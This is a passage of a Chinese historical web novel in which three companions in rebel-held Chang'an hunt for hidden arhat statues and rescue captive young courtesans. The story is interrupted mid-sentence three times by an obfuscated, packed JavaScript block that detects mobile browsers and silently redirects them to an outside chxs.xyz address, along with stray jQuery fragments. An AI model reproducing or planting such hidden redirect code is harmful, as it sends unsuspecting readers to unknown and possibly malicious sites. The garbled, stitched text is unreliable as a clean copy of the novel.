解不寻知道那是尝到了鲜血滋味的狼的眼神。 “快走。”他盯着伽衡的眼睛说,“你那白骆驼变成了红骆驼,自个儿跑回去,把赵娘子吓得不行。” “没驮着一个女人吗?” “没有啊。” 伽衡把刀插回鞘中。那五个士兵的马就在附近,两人上马疾驰而去,都是骑马的好手,就算后面真的有人能追上来也是解不寻的任务了。伽衡甚至还能回头看解不寻,解不寻左手控缰,右手提剑,腕部看似飘飞若秋叶,实则有力及千钧,剑锋所到之处犹如光电闪劈,极尽轻盈飘逸之能事。 秋霜切玉剑,落日明珠袍。 他笑着转过头,喊道:“解不寻,你有过对手吗?” “数不胜数!”解不寻收剑跟他并驾齐驱,“能不能回去再聊天?” “云海间不能再待了。他们之前一直在跟踪,现在算是撕破脸了。” 解不寻闯进宫之前就坚持把阿忍和巴瑞施玛带到了那家叫“醴铺”干果铺子去躲着,毕竟伽衡这一去生死未卜,她一个人在云海间里不安全,倒不如在有自己和许多难民的醴铺好照应。两人直接向醴铺而去,街上的士兵尚未得到通知,见伽衡一身叛军打扮也由着他过去了。 此处确实是个很好的藏身之地,前门已经坍塌,被砖石堵死,只剩后院一个出口;后院又搭了一条狭窄的长廊,谁若要窥视必须走进来好一段路。阿忍正在廊中站着,看着两人回来,打了声招呼便若无其事往里走。解不寻对他说:“她一看到你的骆驼自己出来,叼着那个小罗汉,立刻就哭了。” “我没有!”阿忍远远听到了他的声音,急忙为自己申辩,“我是看到巴瑞施玛居然还活着......” 伽衡笑着不说话。三人穿过长廊,巴瑞施玛在后院的砖缝间啃食着杂草。见他来了,它立刻砰地往地上一倒,四肢在空气中胡乱划动,地面的泥砖碎了一片。阿忍吓了一跳,还以为它得了瘪咬病,伽衡却径直走到他身边蹲下,翻开它被血和汗浸透的毛发,里面全是陷进皮肉的蜱虫。 想必在那拥挤肮脏的马厩已经难受很多天了,和主人久别重逢、死里逃生,暂时连亲热都顾不上。 “阿忍可不可以帮我找酒和蜡烛来?” “我来清理吧,”她说,“你一回来先关心骆驼,自己背后还插着一支箭啊。” 他差点忘了,因为全身麻的像在雪中走了三天三夜一样。“那就等会儿再管它,你别动,这草爬子很容易往人身上钻。”阿忍连连应允着把他推进了房,屋内坐好几个人,见了陌生人都很感兴趣地往这边看。她也顾不上什么,当即把他的上衣脱下来了,只见身上都是些小创口,那支箭卡入骨缝,腰部往下有一大块红肿。 她一时间什么也不敢碰,解不寻道这有什么不敢碰的,伸手就把箭拔出来了,伽衡其实没什么感受,然而阿忍替他尖叫了一声。解不寻乐不可支地笑了起来,伽衡没有笑,他扭头诚恳说:“真的不疼。” 阿忍微微撅着嘴跑出去了。 解不寻对此氛围感到异常愤怒,毫不留情将拇指按在他背上,满意地听到了一声惨叫。全部处理好时太阳已经出来,伽衡感觉血重新回到了四肢末梢,铺天盖地的痛觉重新还给了自己。他僵直着腰背走到后院,巴瑞施玛身上的蜱虫已被去除,连毛也洗了一遍,此刻正躺在初升的太阳底下晾晒久违的雪白长毛,嘴里嚼着不知道谁给的胡萝卜。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001948|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿忍坐在井边,端着新拿到的小罗汉翻来覆去地看。井边的晾衣架上搭着他刚换下来的衣服,居然已经洗好、补好破洞了。 “谢谢阿忍。”他蹲在她面前,也去瞧那罗汉,“你这样勤快,是不是赵无量和他徒弟在家一点活儿也不干呀?” 阿忍看他挺着腰板蹲下来的姿势别扭,把他拽起来,将小罗汉递过去,“这是什么话,赚钱不算干活吗。你看这是谁?” 这个罗汉长得……有点帅。先前那几尊都是非常经典的罗汉造型,凸起的额头、圆溜溜的肚子、笑得眯起来的小眼睛,而这一尊没那么抽象,在保持罗汉福相特征的同时更加具俊秀庄严的仪容之美。 “相如秋满月,眼似青莲华。佛法如大海,流入阿难心。” “答对啦,你还知道不少嘛。” 其实他也就知道阿难尊者是最好看的门徒,并且有许多以一个女子爱上他为开头,最后被阿难或者佛陀度化、悟道出家的故事。最著名的一个是摩登伽女为乞食的阿难倒水后非他不嫁,佛陀问:你爱阿难的什么?此女回答:眼鼻口声,乃至其行走的身姿。佛陀于是说:人眼中有泪,鼻中有涕,口中有唾,耳中有垢,身中有屎尿,成为夫妻后组建家庭,还有生离死别,悲痛无穷。摩登伽女于是深觉人身臭秽不净,而自己所执著的爱欲,是无边生死的根本,由是豁然彻悟,证得阿罗汉道。 伽衡首先觉得这个佛陀是不是没照顾过年纪很大的老人,老人一阵子失禁一阵子便秘,身体都需要他人帮忙清洁。他尚且能几十年如一日地细心侍奉祖父,还能因为这个不爱自己年轻的情人?再说世上什么事物不是一面美一面丑,好歹人家阿难还有漂亮的眼睛鼻子呢,怎么就专门关注他有眼泪鼻涕......当然他不会说的,说了阿忍肯定不高兴。 此时解不寻也收拾好剪刀、布条之类的器械,出来加入讨论。伽衡把宫里发生什么对二人一五一十说了,今后这身叛军服装也没用了,出门只怕更加困难。解不寻道:“我替你们去找。” “那怎么好意思呢。”阿忍立刻说,“你忙你的,不必再费心了。” “问题就在于我没什么可忙的了。长安刚沦陷那会儿,我忙着救人藏人,如今十几日已过去,该杀的都杀光了,该奴役的都被奴役了,该躲的也躲好了,并无前些阵子那么多人可救......这话说的,前些日子其实也没救下几个人。” 在国家巨大的不幸面前,什么大侠都只是车前的一只螳螂。 “很多啦。”阿忍向屋内一指,“胜造几十级浮屠了。” 解不寻笑了笑,“是。所以下一个目的地在哪里?” 经过一上午的讨论,三人得出如下几个结论: 一,阿难是佛陀堂弟,罗汉像可能会在亲王府中; 二,阿难是弟子中“多闻第一”,几乎记得佛陀的每句教导、每本佛经,罗汉像可能在长安藏经最齐全的地方; 三,与女人有关的地方。 解不寻说第三种可能实在太不靠谱,第一种可能又和寻找罗睺罗的思路重复了,而且罗睺罗的身份特征其实比阿难值得强调的多,阿难与佛陀的亲属关系体现很少被提起,也不太可能。最可能的就是第二种。 “不如我去大慈恩寺打探打探,那里据说是藏经最多的。” “这个‘藏经’和之前的‘译经’,感觉也是思路重复了。”伽衡说,“你详细说说他怎么个多闻第一。” 25. 阿难 一千多年前,拘尸那罗的河边,夜凉如水,树叶在微风中沙沙响。今夜正如死亡。 佛陀即将入灭,阿难在哭泣,他尚未证悟,犹不能解脱于死别之苦。佛陀那双慈爱而悲悯的眼睛久久地停留在他身上,特别为他开示无常之理,并对大众宣扬其温和善良的天性,赞美其闻法不忘的福德,将来必能在世间发光发热。于是大家公推阿难做最后的请益:佛陀涅盘后,以谁为师?以何安住?以何起信? 佛陀答曰:以戒为师,依四念处安住,经首安立“如是我闻”,便会令人起信。言罢在两棵娑罗树中间安置的绳床上卧下,平静地闭上双眼,进入涅槃。 四方信众赶来礼拜他、瞻仰他,心中怀着隐忧。彼时他们还无法预见天竺未来佛教人才凋敝、终至灭亡的未来,就算是在今天,佛陀灭度所带来的负面影响也是难以承受的。世间唯一一位修行圆满者走了,从此至上的智慧无人再传播,至上的慈悲无人再施予,那些精深微妙的经文和教导甚至没有文书记载。 然而阿难记得,每一句话都记得。 佛入灭三天后,王舍城举办了第一次圣典结集。他走了两个多月,四月十四日抵达王舍城,第二天即开始安居,结集佛经。大迦叶被推为首席,他选了四百九十九个大阿罗汉。而阿难因为还未证果,被排斥在石窟外。传承大法的使命感压在他肩头,使其终于在结集前半夜开悟证果,进入窟内,参与结集,并因闻法不忘被众人推上狮子座。 阿难开始诵曰:"如是我闻,一时,佛在。"并将自己所知的所有经文完全背了出来。 所有在座的大罗汉如同再次接受佛陀的教诫一般,为之感动万分。 佛教经典能流传于后世、兴盛于异邦,实赖阿难之功。“如是我闻”也至此成为佛经的开卷语,意为“阿难我听佛是这么说的,非从他闻,真实无谬,可放心研读”,就算再过一千年、再过两千年,只有还有人诵读佛经,就还能亲在站在那夜的绳床前、领受佛陀的教诲......阿难的声音和诵经人的声音一同想起:如是我闻。 后世人,你诵我如诵佛陀。 三人沉默了好一会儿,一致同意藏经阁应该是最符合阿难特征的,解不寻喝了些水,叼着个饼,立即出发去了。 醴铺内每日就只有做饭和洗衣两件事,做饭都不太需要,食物是店主囤积的馒头和面饼,用热水泡开就可以吃,难民们终日昏睡、祈祷、麻木地盯着屋顶。阿忍向来是闲不住的,她把几床垫絮全部拿到院子里洗了晒着,又把仓库和茅厕打扫了一遍,最后清点了剩余物资,给解不寻写了份详细的需求清单。 她做好这一切,削下一片柳树皮,泡了杯茶走到后院。伽衡原来闭着眼,趴在木桶上一动不动,听她来了连忙若无其事地起身。他背上绑着的布条已经被血浸湿一半,这里缺乏药草,刚刚也只是简单地清洗后包扎起来。她看着难受,忙把柳树皮递给他,“你别起来。我师弟做泥塑时,手被划破了或者被锤子砸了就嚼这个,可以止痛的。” 伽衡接过,依言又趴下去,把侧脸转过来,“谢谢阿忍。” 巴瑞施玛还侧躺着晒太阳,阿忍走过去靠在它身上,它的毛差不多干了,只是深处还有轻微的潮气。两人都是一夜没合眼,阿忍本来还想跟伽衡说会儿话的,脸刚沾到柔软的毛发就睡着了;伽衡也觉得累,但是背后一阵一阵的剧痛让他根本没法入睡。 伽衡承认解不寻是个古道热肠、有任侠气的好人,但与他和阿忍的交情没有多深,他也没指望解不寻帮多大的忙。从沙州往回赶时他六神无主,想阿忍若自己没办法,谁都不会帮她的,不害她一个漂亮且无父无兄在身边的小姑娘都不错了。没想到解不寻助她找到了第一个罗汉像,救了自己,提供了藏身所,现在还主动去大慈恩寺帮他们找下一个罗汉像......却什么都不求,什么意见都没有。 伽衡相信他肯定不是别有用心之人,马拉坎达时遥遥一面,他沉稳、矜重、忧郁——和平常大为不同——宛若仙人,身上甚至还有和阿忍相似的渺远的气质。像骆驼一样。这是一种很伽衡式的评价,是褒义的,他因此就相信解不寻一定是个好人,他看骆驼从来没走眼过。 但是还是好的有点不正常了。再说,他一个侠客怎么把佛经背的这么熟? 伽衡含着柳树皮站起来,想起巴瑞施玛可能很久没吃到东西,便四处走动着采了一篮树叶,盐是很珍贵的,不能让给它。巴瑞施玛慢吞吞地把鼻子凑近,又把鼻子挪走。他也不强求,爱吃不吃吧,骆驼一个月不吃饭都没问题。 阿忍还在巴瑞施玛背上睡觉,她是趴着的,口水把骆驼毛洇湿了一点。 好可爱,他几乎感到一阵战栗,为她在他面前的毫无防备与安心,就像采莲的小孩在漂浮的舟中睡着一样,莲叶一张一张从他脸上拂过。此时再想起那个阿难和摩登伽女的故事,愈发觉得一个能忽悠、一个不诚心。 解不寻是傍晚回来的,那些原本在屋内躺着、面无表情的难民大半都跑出来与他打招呼,他把树叶包着的炒米分给两个小孩;阿忍也带着同样热切的表情走过来,和那些小孩没有差别。 “辛苦你了。有没有找到药呀?”她低声问,“罗汉像呢?” “药——都被搜刮走了,药铺里什么都不剩。至于说大慈恩寺,里里外外加了两倍看守,我在屋顶上蹲守许久也找不到空子。前天路过的时候还不是这样的。” 她点了点头,脸上没有流露出明显的失望情绪。 加了看守,说明吕蒙恩也在查大慈恩寺;看守一直没有撤掉,说明目前还没有找到。他那么多人手都没找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001949|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,指不定藏经阁这个方向是错的呢。 难民都聚在屋子里,他们三个便又来到后院避开耳目。阿忍去炉子旁把滚烫的茶水和面饼拿过来了,解不寻瞟了一眼便无奈道:“这么多天都吃腻了。” “可是你一整天都没吃东西,”伽衡插话道,“还在屋顶上跳来跳去的,不饿吗?” “还好吧。”他慢条斯理地揪了一小点泡进茶水里,面饼因为太干了,甚至往下细细碎碎地掉渣。“我怀疑藏经阁这个思路不对。前面几个罗汉都锁定了很具体的位置,大慈恩寺的藏经阁有好几层楼高,吕蒙恩人多,他找起来优势更大,王维应该不会这么安排。” 阿忍道:“你前面讲的阿难的故事还有一个细节,佛陀涅槃时,很多女众也前来礼拜,却不被允许进入,是阿难让她们都进来了——阿难对女人总是抱有......” “佛陀涅槃时......哎,樊川不是有一大片树林吗,会不会那里有个绳床?曲江池附近呢?其实阿难最显著的功劳就是传经,石窟结集便是个重要事件,终南山上有许多石窟呢,或许可以看看里面有没有藏经书、供佛像的石窟。” 伽衡道:“你能不能听她把话说完?你这说的不是跟藏经阁情况一样吗,目标不具体。” 解不寻举起双手。阿忍不好意思地继续说:“阿难对女人总是抱有同情的。所以或许真的和女人有关呢?也没什么不靠谱的呀。” “好,那就往这个方向想。要想一个具体的女人的话,杨贵妃几乎就是盛世的象征了,她也曾当过一段时间比丘尼。前一段时间又是马嵬驿事变,成为了乱世的牺牲品,阿难若是同情女人就该同情她。” “王给事派人藏罗汉像的时候,贵妃娘娘还没出事呀,在他印象里应该是个享尽荣华富贵的女人吧。” “那具体呢?除了杨贵妃,你还能叫出第二个代表性的女人的名字吗?” 阿忍沉默了,她无法反驳。突然觉得这个思路也不一定对,虽然杨贵妃毋庸置疑是值得同情的,但她总觉得阿难尊者注视过那些风尘仆仆的信女的目光,不会最终停在一位贵妃的身上。另外两人已经达成了共识,一致觉得罗汉肯定被藏在华清宫哪块青石板下面,明早便要去寻。 具体的女人?尽是些面目模糊的女人。被圣上抛弃、被叛军诛杀的嫔妃贵女,列队而出的乐工舞姬,颠沛流离、东躲西藏的百姓,困于城内、失钱失亲失身体的俘虏,她们的数量太庞大,她们的苦难太深重,她们的名字不记得。阿忍迷迷糊糊要睡着时还在想这件事,仅从别人口中听闻的贵妃、林娘子,红豆,广愿......子夜歌昂着美丽的头颅走出来。 伽衡醒来的时候,阿忍正在蒲团上盘腿参禅,很不专心,因此一听见声音就睁开眼睛。“我们去平康坊吧。”她说。 26. 寺窗边 解不寻原来还是坚持自己去的,但阿忍表现得很不信任,非要去不可。伽衡闻言便要一起,被两人强制摁在原地养伤。 “你知道平康坊里人最多的一家妓院是哪家吗?” “我怎么会知道。” “不信。” 解不寻笑了,“杨芹家。杨芹是鸨母的名字,你们不是闻辩的朋友吗?他娶的小就是那里出来的。” 他轻功捎人的方式是挽她胳膊,卡住她腋下,然后阿忍全身的重量便全挂在一根胳膊上,每转移一个地点还要挨一下地,脚崴了好几下,体验感极差。解不寻说他并非是武功最强的人,但轻功大概是的,在敌不过时用这轻功逃跑从来没被追上过。更重要的是练得多,他闲暇时也不喜欢练剑,但喜欢爬到房顶上看月亮。 “和鸟赛跑也有意思,”他在劲风中说,“它高高地飞过,我就跳来跳去地追,最后总能抓住它。” 阿忍想象着他在檐牙高啄的朱瓦上飞来飞去,只为搏下面那些仰头观赛的小娘子一笑的场景,觉得很符合他的做派。解不寻脚步很轻,没有引起巡逻士兵的注意便越过了平康坊的土墙,阿忍的脚趾又在墙上撞了一下,忍着没出声。现在的问题是如何进去,楼外有六个叛军把守,再往外就是坊门口的守卫,以及坊内巡逻队——大概二十多人。解不寻在她耳边用气音道:“这比大慈恩寺的士兵少多了。可以静静地都杀了,不惊动坊门口的人。” “再围着杨芹家转一圈,找个窗户进去吧。” 平康坊往常素来都是烟柳繁华地、温柔富贵乡,楼栋密集,街道狭窄,彩锦霞幄,屋檐与屋檐之间还悬挂着灯笼、彩带之类的装饰品,很适合隐藏。解不寻也觉得最好不要打草惊蛇,依言转了半圈,找到一扇合适的窗户蹿了进去——阿忍的头在窗棂上狠狠磕了一下。门外的脚步声顿住了,解不寻一掌把她推进衣柜,自己则向反方向滚了一圈,蹲在梳妆台底部,在雕花的孔隙中注视着房门。 房门打开了,一个士兵疑惑地走进来,径直就朝着看起来最容易藏人的衣柜走去。解不寻在心中叹息一声,伏着身子从背后靠近,岂知柜门突然弹开,一根珠宝嶙峋的项链抽在了士兵脸上,在其捂脸后退的时候阿忍迅速从衣柜里溜出来。解不寻上前一把把他摁倒,笑得不行:“你还挺机灵!就一个人紧张什么,我不是在嘛。” “以防万一。”阿忍揉着额头,转脸对那个吓得抖如糠筛的士兵说,“你好好配合,我们不杀你。杨芹家里有几个士兵?现在可以出去吗?” 他疯狂摇头,头盔把年久失修的地板蹭得嘎吱作响,“不可以!楼下就有人在走廊里喝茶,现在出去会被发现。晚上会有更多人回来。” “回来?这里是驻军的地方吗?” “不是。他们把大多数妓女送到洛阳了,还留下几个,每天晚上就回这里......” 阿忍睨他,“那吕蒙恩有没有下达什么命令,全程抓捕什么人、找什么东西?” “我们是孙中监的部下,与吕中省无关,两位官人素来不合的。”士兵在几句话中就感受到了这个小娘子的态度,泪眼汪汪地争取着她的谅解,“昨天是听闻吕中省的部下在抓捕什么人,我们中监听了,说不许他擅自杀人,抓到谁也需先送到自己那里去。” 阿忍和解不寻对视一眼——什么情况?看似毫不相关的孙孝哲也掺和进来了?听说孙孝哲裘马华侈,颇事豪贵,残忍好杀,宗室贵族好像都是他杀的,如今却约束下级杀人,而且似乎有种含糊的针对意味。昨天才开始的。 “先带我们见那些姑娘。” “等一下,”他神色恳切,“楼下有人。换岗的时候我便带你们下去。” 于是阿忍和解不寻便在房间里悠转起来了,房间不算大,然而整洁素雅,只是因为近些天无人打扫而蒙上了一层灰。刚才供她藏身的衣柜里只有几件素白的袍子,各式各样的珠宝首饰居多,收纳在做工精巧的小格子里;窗台上有一把浑圆的七弦琴,被手工做的麻布罩仔仔细细盖着。书柜也是手工打造的,很粗糙,然而上面摞了很多书卷,有竹简写着的经典古籍,有卷轴装的论述文章,涉猎甚广,大多数书籍阿忍听都没听过。她本来读文章也读得不多。 屋主人好像最喜欢曹植,曹植的文章最多。 解不寻打开一个装满纸张的抽屉,“哟”了一声,“八月六日......这好像是日记。”他也不觉得看人家日记有什么不好,径直读了下去,“八月六日,妈妈授我七弦琴,姐姐赠我黄金珰。字迹稚嫩,想来是很小的时候写的。” 不仅字迹稚嫩,纸也黄脆,他关上这个抽屉,打开下面一个抽出一张继续读道:“三月十八日,客行令出错,我判罚言辞不工,妈妈责打。杏蕊求情,一并责打。记请杏蕊吃酒一顿。” “五月一日,岐王为姐姐掷三百万。” 阿忍对看别人日记还是感到不好意思的,奈何实在好奇,也没阻止解不寻,一直默默听着。这位无名屋主记录的都是些生活中的琐事,围绕着四四方方的院楼和妈妈姐妹展开,字迹也越来越绰约姣美——这家妓院品级高,妓女都是要才貌双全的。屋主后来就写得少了,大概是长大了,心中所想不敢交付于口无遮拦的纸张,最后一节抽屉里就只剩她写的诗和练的书法。 墨迹在纸上摇曳生花,“抗罗袂以掩涕兮,泪流襟之浪浪;悼良会之永绝兮。哀一逝而异乡”,“君怀良不开,贱妾当何依”,“明珠交玉体,珊瑚间木难;罗衣何飘飘,轻裾随风还”......一纸契书将她死死钉在这腌臜地,她在抽屉里藏着一个浪漫恣意的汉魏王子。王子盼望他的爱情,她也盼望缥缈的、纯净的、似乎永远不会降临在自己身上的爱情。 君怀良不开。她没等来君,等来了叛军。再看已觉得是血泪之词,不忍卒读。 解不寻沉默地把抽屉梭了回去。也就在这时,趴在门缝上看的士兵哑着嗓子道:“可以了,快走吧。” 他领着两人下三楼,拐进一间放扫帚等杂物的储物间,轻手轻脚推开门,汗臭和刺鼻的霉味已经飘了出来。六个小姑娘在里面把地铺铺到一起、坐成一团说着悄悄话,见有生人进来,均是惊得用被子将自己裹起来,露出一双双圆睁的、青黑的、凹陷的眼睛,头发油成一绺一绺的粘在脸上。 她们看起来没有十四五岁,本是单纯学艺的年纪,在长安沦陷之前还没经历过“梳弄”,如今却成了大帮男人的...... 更要命的是,她们看清解不寻的样貌后重新放松下来,其中一个单眼皮的姑娘站起来用一种惊喜的语气嗔怪道:“解大侠!我们听说过你,还念过你的名字,你怎么来得这样晚?” 解不寻的身形摇晃了一下。“对不起,我是真的没有听见。若我能听见,一定会来的。”他认真地说,回头看了一眼阿忍,“我等会儿就把你们都带出去,两个两个一捎,赵娘子可以留在这里等等吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001950|161798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阿忍鼓励地点点头。 “不过你们要先帮哥哥一个小忙哦。杨芹家里有什么跟佛教相关的东西吗,经书、雕塑之类的?或者在圣上弃城到叛军入城这段时间内,有没有添什么物件?” 几个明显兴奋起来的姑娘面面相觑,摇了摇头,“这种地方怎么会有经书,多扰客人性质。” “一本也没有收藏吗,你们学习也不用学这个?”解不寻锲而不舍地引导着,“或者是别的什么,一切和佛教相关的都可以。” 单眼皮的女孩揪着自己下巴上的一块肉,不说话,后面有个额头生疮的女孩怯生生道:“其实每月八日、十八日、二十八日,我们——” “——我们要去保唐寺听比丘尼讲经!”单眼皮反应过来了,抢着说,“平日我们是不能随便出门的,每月只有这样三天可以出门,还要向妈妈交一贯钱的押金。而且不仅是杨芹家,平康坊里几乎每家都要去。” “好,好!我先把你们送出去,然后再——” 单眼皮打断他:“先把她们留在这里,我跟你去。保唐寺是个小地方,现在又遭了打砸,免得你认不出来。”她无疑是这些女孩中的领袖,语气果决,其余女孩都望着她一脸崇拜地连连点头。解不寻于是找了根粗麻绳把士兵五花大绑起来,叫女孩们看住他,不放心,又回来一掌把他拍晕了,这才左手一个右手一个捎着两人出了杨芹家。 单眼皮兴奋地轻声尖叫着,在空中张开双臂,暖风抚过她不曾被人爱抚过的脸庞。保唐寺确实难找,叛军五日前在坊东放了一把火,把建筑燎成黑熏熏一片,倒的倒塌的塌。不过她眯着眼辨认了好一会儿,是因为这个视角太独特,而不是认不出仅有的自由时间里的唯一去处。 只有零零散散几个士兵在不远处站着打盹。三人静悄悄落地,阿忍踩倒了什么凸起的东西,和地面黏黏糊糊黑成一块。她用鞋底捻了捻,出现了一个“唐”字,连忙捡起来要用手擦,解不寻不屑道:“有什么好擦的,别把手弄脏了。”抬脚就往石阶上走。天突然变阴了,乌云缓慢滞重地在上方压过来,将保唐寺挤压地更加矮小、破败。 由于院墙建的高,寺庙内部没有被火灾波及,天王殿中的弥勒佛在昏冥晦暗中咧嘴笑着,两侧的四大金刚造型夸张、面目狰狞。三人均拜了拜才往里走,沿着中轴线穿过大雄宝殿,最后来到侧边讲经堂。讲经堂布置的很简陋,满地都是被跪扁的旧蒲团,已经霉点斑斑;正前方有红木搭成的讲台和一张高背藤椅,是方丈用来讲经的地方。 很简陋——简陋到长安人家都不愿意来这里听经,他们多的是好去处,就算要来,也是为了免费看美人而不是听经。每月的三日里,脂粉尽褪、衣裙规整的妓女从各家门楼里鱼贯而出,无声地汇集到这里,像青石板缝里隔夜的雨水。姐姐们跪得虔诚,听得专注;她年纪小,什么都听不进去,每每都魂不守舍地往窗外看,可惜被探头探脑的无赖男人挡了个严实。 方丈含混不清地讲着自己都不想再听的经书,甚至被外面的嬉笑议论声盖过。更远的地方,更远的长安大街上常传来吹吹唱唱、敲敲打打的乐声,听得不真切,却如猫爪般挠着她的心——在做什么呀?是西域朝贡的狮子来了,还是皇帝的銮驾经过了呢?最后的最后,大家起身合掌、感谢方丈的开示,有人摇晃她,叫她赶紧排队回去,单眼皮这才不得不把心神从远方的亿万种声响中抽回来。 她发现姐姐们好安静。 27. 金锡明珠 阿忍和解不寻第一反应是往房梁上看,没有,讲经台的角落也没有,这才开始稍显疑惑地一个蒲团一个蒲团的翻找。单眼皮不知道他们在找什么,她径直来到窗户旁。夏天是植物疯长的季节,一个月没人打理,捆石龙就把窗台长满了。她用手指摩挲着毛茸茸而厚实的叶片,向窗外望去,天好像要下雨。 一张人脸出现在了窗外。 她恍惚了片刻,第一反应是这些无赖怎么阴魂不散啊,又来挡我视线?第二秒才尖叫出声,叛军的剑已经刺入她的胸膛,她被大力捅地后退一步,手痉挛地揪住捆石龙的藤蔓,把几股植物攀附的本已腐朽的窗框拽掉,什么东西当啷一声从叶片中滚出来掉在地上。另一股力量在同时把她往后一揽,解不寻飞身上前,一脚踢在叛军胸前,对方的嘴巴无声地张开,双目暴突,撞在墙上没了气息。 他把单眼皮往阿忍怀里一送,从窗户里跃出去。阿忍几乎心胆俱裂,她立刻就要去解单眼皮的衣领察看情况,被一把挡开。“没伤到内脏,”单眼皮长长吐出一口气,“还好还好,捡回一条小命。解大侠当真厉害!” 阿忍会意,连忙松开手,“没事就好!你赶紧止止血——” “伤口不深,一下就不流了。”她把衣领扣好,从地上捡起摔成两半的泥塑,“哎呀,这是不是你们要找的东西?这怎么办呀,我之前不知道它在窗台上。” 阿忍说没关系,刚接过,解不寻就从窗户跳进来,他右手提着剑,新鲜的血水顺着往下滴,他在倚靠着墙的尸体衣服上擦干净了才收回剑鞘。“坊东现在没人了,你看看是不是真的,我们还是早点走。”他道,刚才冲上去的时候就知道单眼皮的伤势了,也没多过问。 阿忍把两半拼起来,确实是义父的手艺,小罗汉闭着眼睛。她向解不寻点点头,于是三人又回到杨芹家。解不寻按照之前的承诺,先把姑娘们全部送了出去,最后才来接阿忍。午后下雨了,两人回到醴铺时浑身都是湿的,解不寻却又要出去,他说面饼最多供这么多人吃到后天。 屋内已经挤不下更多人,一排刚到的姑娘在屋檐下蹲着。伽衡拆了几座杂物架,在后院支起一大块油布,做了个简易的帐篷,此时正在拿锤子把木桩固定在土里,水珠顺着他的鼻梁往下滑。阿忍走上前急道:“你还使力气?你还淋雨?” 伽衡闻声迅速转头,笑盈盈的,“好。” “背上怎么样?” “你要不要看看?”他说完就要脱衣服,阿忍发现自己对付此人真是没招儿,看也不看他,抢过锤子敲了两下,嘴里碎碎念:“谁要看,等会儿解大哥回来了让他看。” 屋檐下六双大眼睛津津有味地盯着,单眼皮多嘴道:“娘子,那个木桩已经凿好了。” “噢,这样呀。”阿忍悻悻放下锤子,“你叫什么名字?” “艺名是白露蝉。” 阿忍疑惑地默念一遍,也不好对人家的名字发表什么意见。姑娘们一起在帐子里铺了垫絮,支了一个小炉煮茶,还提议要洗澡——被俘以后从没洗过呢。她们把黑色油布夹在朝后院窗户上面,另外三面又环墙,老天爷在下温柔的小雨,实在是洗澡的大好场所。“所有人都进屋!”白露蝉吆喝着,“赵娘子你也要进去!这骆驼公的母的呀?公的?那也进去!” 她们又笑又闹地把所有人都赶进屋了。昏黑的屋内,阿忍坐在角落摸索出两半泥塑,伽衡又凑过来坐着,她在挪开前感受到了他身上的潮气。路上就是这样的,风雨雪一概不避,虽说他确实也没因此生过病。长期以往可就难说呢,她忿忿地想,从头疼到脚,看痹症找不找上你吧。 然而下午下的是小雨,他又在油布下,衣服湿的不多,在热气蒸腾的屋内待一会儿也就干了,阿忍也没要他换掉——免得这人又嬉皮笑脸说什么胡话。她把罗汉像递给他:“你看看。” “屋里好黑,看不清,不如我们说说话。” 对面一声不吭。伽衡于是道:“刚才你与我说了孙孝哲一事。这孙孝哲,我是见过的,此人奢侈异常,有一年想用红颇黎建一座‘瑶池’,说白了就是想让姬妾在透明的池子里戏水给他看。这颇黎产自吐火罗国的颇黎山,其莹如水,其坚如玉,一小块都是不可得的,哪能建座瑶池?他找谁买都不行,偏偏闻辩真能弄到这么多,大敲了他一笔,我跟着闻辩一起去谈价钱.....” 阿忍表面上很严肃的听着,心里小小地失望了一下,“说说话”就是说这个? “......他看上去和孙孝哲关系不错。”伽衡低声说,余光扫了一眼,屋内其他人都互相聊着天,没注意他们在说什么。“毕竟世上能满足孙孝哲那种想法的大商贾不多。当然也不是别的意思,我就是和你提一嘴。” 他把阿忍的表情看得真切,她前后晃着脑袋点头,眼睛一直盯着地面。 “还有!你变了。” 她困惑道:“什么?” “我第一次见你时,你像雕塑上的神仙,话也不多,表情也不多,情绪也不多。”伽衡认真道,“现在活过来了,有了‘灵’。” 阿忍默默地想了一会儿,她再看向伽衡的时候,眼睛里似乎有水光,“那是好还是不好呢?” “自然是好呀。” 她苦笑了一下,“那便是吧。”言罢转过身去不想睬他。伽衡对着她的背影说:“看,你以前对我客客气气,现在对我的态度变幻莫测的......过了这么些天,你原谅我没有?” “不原谅又能怎么样呢?”她扭头愤然道,“你一个不曾修行的人都能发现!到这个地步,我都——” 